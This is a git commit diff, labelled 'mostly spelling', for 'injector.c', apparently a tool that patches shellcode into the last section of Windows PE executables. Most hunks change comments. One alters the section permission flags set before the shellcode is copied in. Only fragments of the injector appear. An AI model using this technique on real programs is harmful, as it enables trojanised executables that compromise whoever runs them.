diff options
author | segfault <segfault@secmail.pro> | 2019-03-25 02:48:41 +0100 |
---|---|---|
committer | segfault <segfault@secmail.pro> | 2019-03-25 02:48:41 +0100 |
commit | a0c75fa3bca05d3a3556e091df68bc732d6ca63a (patch) | |
tree | 5385e116adfc4c916665d02efafca2cffb7769ad | |
parent | 4e56c8ee1723dd01fd1e3385a7d696ec36416fed (diff) |
mostly spelling
Signed-off-by: segfault <segfault@secmail.pro>
-rw-r--r-- | injector.c | 7 |
1 files changed, 4 insertions, 3 deletions
@@ -4,7 +4,7 @@ #include <windows.h> -/* structure which describes the Windows Portable Executable format */ +/* structure which describes a Windows (P)ortable (E)xecutable */ typedef struct pe_buffer { uint8_t *buf; size_t siz; @@ -43,7 +43,7 @@ typedef union shellcode_trailer { struct { uint8_t inst; uint32_t addr; - } GCC_PACKED insts[2]; /* second array entry is required for the FIXME */ + } GCC_PACKED insts[2]; /* second array item required for FIXME */ } GCC_PACKED shellcode_trailer; @@ -66,6 +66,7 @@ typedef void (__stdcall *shellcode_fn)(void); #define WIN_PERROR(error_prefix) \ printf("%s failed: %lu\n", error_prefix, GetLastError()); +/* simple binary compare fn */ static int bcmp(uint8_t *b1, uint8_t *b2, size_t length) { uint8_t *p1 = b1, *p2 = b2; @@ -236,7 +237,7 @@ static int prepare_last_section(pe_buffer *pe, uint8_t **ptrToShellcode) /* It is important to fixup section protections! * Otherwise an Access Violation will occur most likely. */ - last_section->Characteristics |= IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; + last_section->Characteristics |= IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; /* Place (unpatched) shellcode at the end of the section. */ memcpy(pe->buf + shellcode_offset, &shellcode, shellcode_size); |